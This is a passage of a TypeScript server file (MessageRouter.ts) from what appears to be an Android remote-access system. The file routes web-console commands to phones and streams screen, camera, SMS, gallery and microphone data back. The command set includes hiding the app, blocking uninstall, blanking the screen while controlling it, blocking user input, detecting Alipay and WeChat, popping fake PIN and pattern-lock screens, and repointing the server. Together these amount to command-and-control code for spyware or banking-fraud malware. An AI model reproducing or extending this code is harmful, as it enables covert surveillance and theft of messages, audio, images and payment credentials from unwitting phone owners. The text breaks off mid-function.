Files
server/src/services/MessageRouter.ts
wdvipa a123c7cc40 perf: 降低屏幕数据去重间隔提升帧率
- 屏幕数据去重间隔从50ms降到30ms,配合Android端50ms发送间隔
- 清理去重逻辑注释和日志中的emoji符号
2026-02-15 20:55:36 +08:00

5280 lines
192 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import DeviceManager from '../managers/DeviceManager'
import WebClientManager from '../managers/WebClientManager'
import { DatabaseService } from './DatabaseService'
import Logger from '../utils/Logger'
import fs from 'fs'
import path from 'path'
/**
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
deviceId: string
data: any
timestamp: number
}
/**
* 操作日志消息接口
*/
export interface OperationLogMessage {
deviceId: string
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT'
content: string
extraData?: any
timestamp: number
}
/**
* 屏幕数据接口
*/
export interface ScreenData {
deviceId: string
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY'
data: Buffer | string
width: number
height: number
quality: number
timestamp: number
isLocked?: boolean // 设备锁屏状态
}
/**
* 摄像头数据接口
*/
export interface CameraData {
deviceId: string
format: 'JPEG' | 'PNG' | 'H264'
data: string // base64 encoded data
type: 'camera'
timestamp: number
}
/**
* 相册图片数据接口(设备发送)
*/
export interface GalleryImageData {
deviceId: string
type: 'gallery_image'
timestamp: number
index: number
id: number | string
displayName?: string
dateAdded?: number
mimeType?: string
width?: number
height?: number
size?: number
contentUri?: string
format: 'JPEG' | 'PNG'
data: string // base64 encoded image data
}
/**
* 麦克风音频数据接口(设备发送)
*/
export interface MicrophoneAudioData {
deviceId: string
type: 'microphone_audio'
timestamp: number
audioData: string // base64 encoded audio data
sampleRate: number
sampleCount: number
format: 'PCM' | 'AAC' | 'MP3' | 'WAV'
channels: number
bitDepth: number
}
/**
* 短信数据接口
*/
export interface SmsData {
deviceId: string
type: 'sms_data'
timestamp: number
count: number
smsList: SmsItem[]
}
/**
* 短信项接口
*/
export interface SmsItem {
id: number
address: string
body: string
date: number
read: boolean
type: number // 1: 接收, 2: 发送
}
/**
* 消息路由服务 - 增强版,包含内存管理
*/
export class MessageRouter {
private logger: Logger
private deviceManager: DeviceManager
private webClientManager: WebClientManager
private databaseService: DatabaseService
// 🔧 新增:服务端内存和数据管理
private screenDataBuffer = new Map<string, { data: ScreenData, timestamp: number }>()
private cameraDataBuffer = new Map<string, { data: CameraData, timestamp: number }>()
private smsDataBuffer = new Map<string, { data: SmsData, timestamp: number }>()
private microphoneAudioBuffer = new Map<string, { data: MicrophoneAudioData, timestamp: number }>()
private readonly maxBufferSize = 10 // 每设备最多缓存10帧
private readonly bufferTimeout = 5000 // 5秒超时清理
private readonly maxDataSize = 2 * 1024 * 1024 // 2MB单帧限制与Android端保持一致
private lastCleanupTime = 0
private readonly cleanupInterval = 10000 // 10秒清理一次
// 统计信息
private routedFrames = 0
private droppedFrames = 0
private totalDataSize = 0
private routedCameraFrames = 0
private droppedCameraFrames = 0
private totalCameraDataSize = 0
private routedSmsData = 0
private droppedSmsData = 0
private totalSmsDataSize = 0
private routedMicrophoneAudio = 0
private droppedMicrophoneAudio = 0
private totalMicrophoneAudioSize = 0
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
private consecutiveBlackFrames = new Map<string, number>()
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
this.deviceManager = deviceManager
this.webClientManager = webClientManager
this.databaseService = databaseService
this.logger = new Logger('MessageRouter')
// 🔧 启动定期清理任务
this.startPeriodicCleanup()
}
/**
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
*/
private sendLocalGalleryToClient(clientId: string, deviceId: string, limit?: number, offset: number = 0): void {
try {
const imagesDir = path.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId)
if (!fs.existsSync(imagesDir)) {
this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`)
return
}
// 读取目录下文件,按时间倒序(文件名中包含时间戳: <timestamp>_<index>.jpg|png
const files = fs.readdirSync(imagesDir)
.filter(name => name.endsWith('.jpg') || name.endsWith('.png'))
.map(name => ({
name,
// 提取文件名前缀的时间戳用于排序
ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n })()
}))
.sort((a, b) => b.ts - a.ts)
.slice(offset, limit ? offset + limit : undefined)
if (files.length === 0) {
this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`)
return
}
this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`)
for (const f of files) {
const url = `/assets/gallery/${deviceId}/${f.name}`
// 最低限度的元数据,前端可直接回显缩略图/原图
const payload = {
deviceId,
type: 'gallery_image_saved',
timestamp: f.ts || Date.now(),
index: 0,
id: f.name,
displayName: f.name,
url
}
this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload)
}
} catch (err) {
this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err)
}
}
/**
* 🔧 启动定期清理任务
*/
private startPeriodicCleanup() {
setInterval(() => {
this.performPeriodicCleanup()
}, this.cleanupInterval)
}
/**
* 🔧 定期清理过期数据
*/
private performPeriodicCleanup() {
try {
const currentTime = Date.now()
let cleanedBuffers = 0
// 清理过期的屏幕数据缓冲区
for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) {
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
this.screenDataBuffer.delete(deviceId)
cleanedBuffers++
}
}
// 清理过期的摄像头数据缓冲区
for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) {
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
this.cameraDataBuffer.delete(deviceId)
cleanedBuffers++
}
}
// 清理过期的短信数据缓冲区
for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) {
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
this.smsDataBuffer.delete(deviceId)
cleanedBuffers++
}
}
// 清理过期的麦克风音频数据缓冲区
for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) {
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
this.microphoneAudioBuffer.delete(deviceId)
cleanedBuffers++
}
}
if (cleanedBuffers > 0) {
this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`)
}
// 内存使用统计
const memUsage = process.memoryUsage()
const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024)
// 每分钟记录一次统计
if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) {
const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0'
const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0'
const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0'
const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0'
this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`)
}
this.lastCleanupTime = currentTime
// 🚨 内存使用过高时触发紧急清理
if (memUsageMB > 500) { // 超过500MB时清理
this.performEmergencyCleanup()
}
} catch (error) {
this.logger.error('❌ 定期清理失败:', error)
}
}
/**
* 🚨 紧急内存清理
*/
private performEmergencyCleanup() {
try {
this.logger.warn('🚨 触发紧急内存清理')
// 清空所有数据缓冲区
const clearedScreenBuffers = this.screenDataBuffer.size
const clearedCameraBuffers = this.cameraDataBuffer.size
const clearedSmsBuffers = this.smsDataBuffer.size
const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size
this.screenDataBuffer.clear()
this.cameraDataBuffer.clear()
this.smsDataBuffer.clear()
this.microphoneAudioBuffer.clear()
// 建议垃圾回收
if (global.gc) {
global.gc()
}
this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`)
} catch (error) {
this.logger.error('❌ 紧急清理失败:', error)
}
}
/**
* 路由控制消息从Web客户端到设备
*/
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean {
console.log(message)
try {
// 验证消息来源是Web客户端
const webClient = this.webClientManager.getClientBySocketId(fromSocketId)
if (!webClient) {
this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`)
return false
}
// 检查Web客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) {
// ✅ 降低日志级别,避免控制权切换期间的噪音
this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`)
// 向客户端发送权限错误响应
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'NO_PERMISSION',
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 获取目标设备
const device = this.deviceManager.getDevice(message.deviceId)
if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) {
this.logger.warn(`目标设备不在线: ${message.deviceId}`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'DEVICE_OFFLINE',
message: '设备已离线或不存在'
})
return false
}
// 特殊处理摄像头控制消息
if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') {
this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`)
// 验证摄像头控制消息的数据格式
if (message.type === 'CAMERA_SWITCH' && message.data) {
const cameraType = message.data.cameraType || message.data
if (cameraType !== 'front' && cameraType !== 'back') {
this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_CAMERA_TYPE',
message: '摄像头类型无效,应为 front 或 back'
})
return false
}
this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`)
}
}
// 特殊处理SMS控制消息
if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') {
this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`)
// 验证SMS控制消息的数据格式
if (message.type === 'SMS_READ' && message.data) {
const limit = message.data.limit
if (limit && (typeof limit !== 'number' || limit <= 0)) {
this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_SMS_LIMIT',
message: 'SMS读取限制无效应为正整数'
})
return false
}
}
if (message.type === 'SMS_SEND' && message.data) {
const { phoneNumber, message: smsMessage } = message.data
if (!phoneNumber || !smsMessage) {
this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_SMS_SEND_DATA',
message: 'SMS发送数据不完整需要phoneNumber和message'
})
return false
}
this.logger.info(`📱 发送SMS到: ${phoneNumber}`)
}
}
// 特殊处理相册控制消息
if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') {
this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`)
// 验证相册控制消息的数据格式
if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) {
const { albumId, limit, offset } = message.data
if (limit && (typeof limit !== 'number' || limit <= 0)) {
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_ALBUM_LIMIT',
message: '相册读取限制无效,应为正整数'
})
return false
}
if (offset && (typeof offset !== 'number' || offset < 0)) {
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_ALBUM_OFFSET',
message: '相册读取偏移无效,应为非负整数'
})
return false
}
this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`)
}
// 🆕 新增GET_GALLERY 仅发送本地缓存到Web客户端不下发到设备
if (message.type === 'GET_GALLERY') {
try {
const { limit, offset } = message.data || {}
const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined
const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0
this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset)
} catch (e) {
this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e)
}
// 不转发到设备,直接返回成功
return true
}
}
// 特殊处理服务器地址修改消息
if (message.type === 'CHANGE_SERVER_URL') {
this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`)
// 验证服务器地址数据格式
if (message.data && message.data.serverUrl) {
const { serverUrl } = message.data
if (typeof serverUrl !== 'string' || serverUrl.trim() === '') {
this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'INVALID_SERVER_URL',
message: '服务器地址无效,应为非空字符串'
})
return false
}
this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`)
} else {
this.logger.warn(`⚠️ 缺少服务器地址数据`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'MISSING_SERVER_URL',
message: '缺少服务器地址数据'
})
return false
}
}
// 特殊处理屏幕捕获控制消息
if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') {
this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`)
}
// 获取设备Socket并发送消息
const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId)
if (deviceSocketId) {
// 通过Socket.IO发送到设备
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', message)
this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`)
return true
}
}
this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`)
this.webClientManager.sendToClient(webClient.id, 'control_error', {
deviceId: message.deviceId,
error: 'DEVICE_DISCONNECTED',
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('路由控制消息失败:', error)
return false
}
}
/**
* 路由屏幕数据从设备到Web客户端- 增强版,包含内存管理
*/
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean {
try {
this.routedFrames++
// this.logger.info('收到屏幕')
// 广播设备锁屏状态更新给所有Web客户端
if (screenData.deviceId && this.routedFrames % 20 ==0){
this.webClientManager.broadcastToAll('device_lock_status_update', {
deviceId: screenData.deviceId,
isLocked: screenData.isLocked?screenData.isLocked:false,
timestamp: Date.now()
})
}
// 🔧 添加屏幕数据大小检查避免过大数据导致transport error
const dataSize = screenData.data instanceof Buffer ? screenData.data.length :
(typeof screenData.data === 'string' ? screenData.data.length : 0)
this.totalDataSize += dataSize
if (dataSize > this.maxDataSize) { // 动态限制
this.droppedFrames++
this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
return false
}
// ✅ 过滤黑屏帧Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
// 正常480×854 JPEG即使最低质量也远大于此值
const MIN_VALID_FRAME_SIZE = 4000
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
this.droppedFrames++
// 追踪连续黑帧数(仅记录日志,不触发模式切换)
const deviceId = screenData.deviceId
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
this.consecutiveBlackFrames.set(deviceId, count)
if (count % 100 === 1) {
this.logger.warn(`过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}`)
}
return false
}
// 收到有效帧,重置黑帧计数
if (screenData.deviceId) {
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
}
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
if (!controllerId) {
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
// 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃
this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`)
return true
}
// 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
const existingBuffer = this.screenDataBuffer.get(screenData.deviceId)
if (existingBuffer) {
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
const timeDiff = Date.now() - existingBuffer.timestamp
if (timeDiff < 30) { // 30ms内的重复数据才去重配合50ms发送间隔
this.droppedFrames++
this.logger.debug(`[dedup] skip screen data: device=${screenData.deviceId}, interval=${timeDiff}ms`)
return false
}
}
// 🔧 更新缓冲区(用于去重和统计)
this.screenDataBuffer.set(screenData.deviceId, {
data: screenData,
timestamp: Date.now()
})
// 🧪🧪🧪 特殊检测识别UI层次结构实验数据
if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') {
this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`)
this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`)
// 继续正常处理流程
}
// 🎯🎯🎯 关键修复检测UI层次结构数据并特殊处理
if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') {
this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`)
this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`)
try {
// 解析UI层次结构数据
const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data
this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`)
// 调用UI层次结构响应处理方法
const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData)
this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`)
return routeResult
} catch (parseError) {
this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError)
return false
}
}
// 首先尝试从DeviceManager获取设备信息
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
// ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
// ✅ 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
// 将恢复的设备添加到DeviceManager中
this.deviceManager.addDevice(device)
// ✅ 关键修复更新数据库中的设备记录特别是lastSocketId
try {
// 转换设备对象格式以匹配数据库期望的格式
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// ✅ 关键修复设备通过屏幕数据恢复后必须立即通知Web端
// 因为Android端可能不会再发送注册请求认为自己已连接
this.logger.info(`✅ 设备已恢复到内存: ${device.name}立即通知Web端设备在线`)
// 立即广播设备连接事件给所有Web客户端
this.webClientManager.broadcastToAll('device_connected', device)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// ✅ 同步设备状态到设备端(如输入阻塞状态)
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
// 只有在数据库中也找不到时,才使用延迟重试
setTimeout(() => {
this.retryRouteScreenData(fromSocketId, screenData, 1)
}, 500)
return true // 返回true避免client端重试
}
}
// 确保device不为undefined
if (!device) {
return false
}
// 🔧 修复更新设备的lastSeen时间 - 关键修复!
device.lastSeen = new Date()
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
// 🔒 处理设备锁屏状态更新
// if (screenData.isLocked !== undefined) {
// const previousLockedState = device.isLocked
// device.isLocked = screenData.isLocked
// // 如果锁屏状态发生变化,记录日志并广播状态更新
// if (previousLockedState !== screenData.isLocked) {
// this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`)
// // 广播设备锁屏状态更新给所有Web客户端
// this.webClientManager.broadcastToAll('device_lock_status_update', {
// deviceId: device.id,
// isLocked: screenData.isLocked,
// timestamp: Date.now()
// })
// }
// }
// 控制者已在前面检查过,这里不需要重复检查
// 🔧 添加屏幕数据传输限流和错误处理
try {
// 发送屏幕数据到控制客户端
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
deviceId: device.id,
format: screenData.format,
data: screenData.data,
width: screenData.width,
height: screenData.height,
quality: screenData.quality,
timestamp: screenData.timestamp,
isLocked: screenData.isLocked // 包含设备锁屏状态
})
if (!success) {
this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`)
return false
}
// 🔧 记录成功传输,用于监控
this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
return true
} catch (emitError) {
this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError)
return false
}
} catch (error) {
this.logger.error('路由屏幕数据失败:', error)
return false
}
}
/**
* 重试路由屏幕数据
*/
private retryRouteScreenData(fromSocketId: string, screenData: ScreenData, retryCount: number): void {
const maxRetries = 3
try {
// 再次尝试从DeviceManager获取设备信息
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device && retryCount <= maxRetries) {
// 继续等待并重试
setTimeout(() => {
this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1)
}, 1000 * retryCount) // 递增延迟1s, 2s, 3s
return
}
if (!device) {
// 最后尝试从数据库查询
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
// ✅ 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
// ✅ 关键修复将恢复的设备添加到DeviceManager中避免重复查询
this.deviceManager.addDevice(device)
// ✅ 更新数据库中的设备记录特别是lastSocketId
try {
// 转换设备对象格式以匹配数据库期望的格式
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// ✅ 关键修复重试恢复成功后立即通知Web端设备在线
this.logger.info(`✅ 设备重试恢复成功: ${device.name}立即通知Web端设备在线`)
// 立即广播设备连接事件给所有Web客户端
this.webClientManager.broadcastToAll('device_connected', device)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// ✅ 同步设备状态到设备端(如输入阻塞状态)
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
return
}
}
// 设备找到后正常路由
if (device) {
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
const controllerId = this.webClientManager.getDeviceController(device.id)
if (controllerId) {
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
deviceId: device.id,
format: screenData.format,
data: screenData.data,
width: screenData.width,
height: screenData.height,
quality: screenData.quality,
timestamp: screenData.timestamp
})
if (success) {
this.logger.debug(`📺 重试路由成功: ${device.name}`)
}
}
}
} catch (error) {
this.logger.error('重试路由屏幕数据失败:', error)
}
}
/**
* 路由摄像头数据从设备到Web客户端- 模仿routeScreenData实现
*/
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean {
try {
this.routedCameraFrames++
// 添加摄像头数据大小检查避免过大数据导致transport error
const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0
this.totalCameraDataSize += dataSize
if (dataSize > this.maxDataSize) { // 动态限制
this.droppedCameraFrames++
this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
return false
}
// 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId)
if (!controllerId) {
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`)
return true
}
// 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId)
if (existingBuffer) {
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
const timeDiff = Date.now() - existingBuffer.timestamp
if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重避免误杀正常的250ms间隔数据
this.droppedCameraFrames++
